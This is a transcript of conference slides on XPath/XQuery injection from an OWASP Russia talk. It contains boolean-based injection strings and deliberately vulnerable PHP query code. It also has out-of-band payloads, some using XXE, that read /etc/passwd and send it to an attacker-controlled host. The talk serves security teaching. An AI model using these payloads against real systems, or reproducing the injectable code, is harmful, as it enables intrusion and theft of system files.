[3.3] Detection & exploitation of Xpath/Xquery Injections - Boris Savkov
-
Upload
owasp-russia -
Category
Internet
-
view
142 -
download
0
Transcript of [3.3] Detection & exploitation of Xpath/Xquery Injections - Boris Savkov
What will be discussed today?
• Xpath/XQuery
• Boolean-based
• Time-based
• Request-based
• Union-based
• Xquery DB
• XXE in XQuery
XPath
XPath is used to navigate through elements and attributes in an XML document. XPath became a W3C Recommendation 16. November 1999. XPath is a major element in W3C's XSLT standard - and XQuery and XPointer are both built on XPath expressions Standards: 1.0, 2.0, 3.0.
XPath examples
/.../node[@attribute=value]/.../text()
• child::text() • child::node() • attribute::node() • child::processing-instruction() • child::comment() • child::namespace-uri() • name(/…/node)
XPath examples <root>
<?xml-stylesheet type="text/css" href="mystyle.css" ?> <namespace xmlns="http://www.w3.org/1999/xhtml"/> <News>
<current_news> <page ID="1">
<!-- this is comment1 --> <info>British people are my only 'boss' on EU reform, says David Cameron</info>
</page> <page ID="2">
<!-- this is comment1 --> <info>BoE says part of banking payment system down</info>
</page> </current_news>
</News> </root>
/root/News/current_news/page[@ID='1']/info/ //page[1]//text()
/*[1]/*[3]/*[1]/*[1]/*[1]/text()
XQuery
XQuery is to XML what SQL is to database tables. XQuery 1.0 became a W3C Recommendation January 23, 2007. XQuery is designed to query XML data - not just XML files, but anything that can appear as XML, including databases.
Standards: 1.0, 3.0.
XQuery examples
<root> <?xml-stylesheet type="text/css" href="mystyle.css" ?> <namespace xmlns="http://www.w3.org/1999/xhtml"/> <News>
<current_news> <page ID="1">
<!-- this is comment1 --> <info>British people are my only 'boss' on EU reform, says David Cameron</info>
</page> <page ID="2">
<!-- this is comment1 --> <info>BoE says part of banking payment system down</info>
</page> </current_news>
</News> </root> for $i in doc("examples/example.xml")//page[@ID="1"]/info/text() return <h3> {$i} </h3>
Boolean-based
• count()
• string-length()
• substring(,,) 1'and count(/*[1])=1 and '1'='1 1'and string-length(name(/*[1]))=4 and '1'='1 1'and substring(name(/*[1]),1,'r')=1 and '1'='1
XML document
<Root>
<News ID="1">
<info>British people are my only 'boss' on EU reform, says David Cameron</info>
</News>
<News ID="2">
<info>BoE says part of banking payment system down</info>
</News>
<News ID="3">
<info>Current exchange rate US DOLLAR (USD) - ≤50 RUSSIAN RUBLE (RUB)</info>
</News>
</Root>
Vulnerable code
public function select($param) { $this->session->execute("open ".$this->database); $input = 'for $i in doc("tests/news.xml")//News[@ID="'.$param.'"]'. '/info/text() return <h3> {$i} </h3>'; $query = $this->session->query($input); while($query->more()) { print $query->next()."\n"; } $query->close(); }
XML document <Root>
<Users>
<UID>18923172</UID>
<FirstName>Arnold</FirstName>
<LastName>Baker</LastName>
<UserName>ABaker</UserName>
<Password>53282c05d16f28057602d1253757c289</Password>
<Type>Admin</Type>
</Users>
<Users>
<UID>94203127</UID>
<FirstName>Peter</FirstName>
<LastName>Pan</LastName>
<UserName>PPan</UserName>
<Password>5f276221c0860f39e17846f2c29d507e</Password>
<Type>User</Type>
</Users>
<Users>
<UID>57394309</UID>
<FirstName>Gandalf</FirstName>
<LastName>the Grey</LastName>
<UserName>Mithrandir</UserName>
<Password>c5f7d86f237453de41c38a7d886c5a9c</Password>
<Type>User</Type>
</Users>
</Root>
Vulnerable code
public function select($uid, $username)
{
$this->session->execute("open ".$this->database);
$input = 'doc("tests/users.xml")//Users[./UserName="'.$username.'"]/*[name()="UID"]/text()';
$query = $this->session->query($input);
if($query->next() === $uid){
$query->close();
$input = 'for $i in doc("tests/users.xml")//Users[./UID="'.$uid.'"]'.
'/*[name()="FirstName" or name()="LastName"]/text() return <h3> {$i} </h3>';
$query = $this->session->query($input);
while($query->more()) {
print $query->next()."\n";
}
}
$query->close();
}
Request-based
•doc
• concaten
• code-for-uri
doc(concat("Your public ip",encode-for-uri(name(/*[1])))
Remarks
• Doesn't work in Sedna • XXE with doc
doc(concat("Your public ip",encode-for-uri(doc("Your public ip/XXE.xml"))))
• unparsed-text
doc(concat("Your public ip",encode-for-uri(unparsed-text("/etc/passwd"))))
• XXE and BaseX
doc(concat("http://192.168.56.101:9090/",encode-for-uri(doc("<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE input [<!ELEMENT input (#PCDATA)><!ENTITY c SYSTEM '/etc/passwd'>]><input>&c;</input> "))))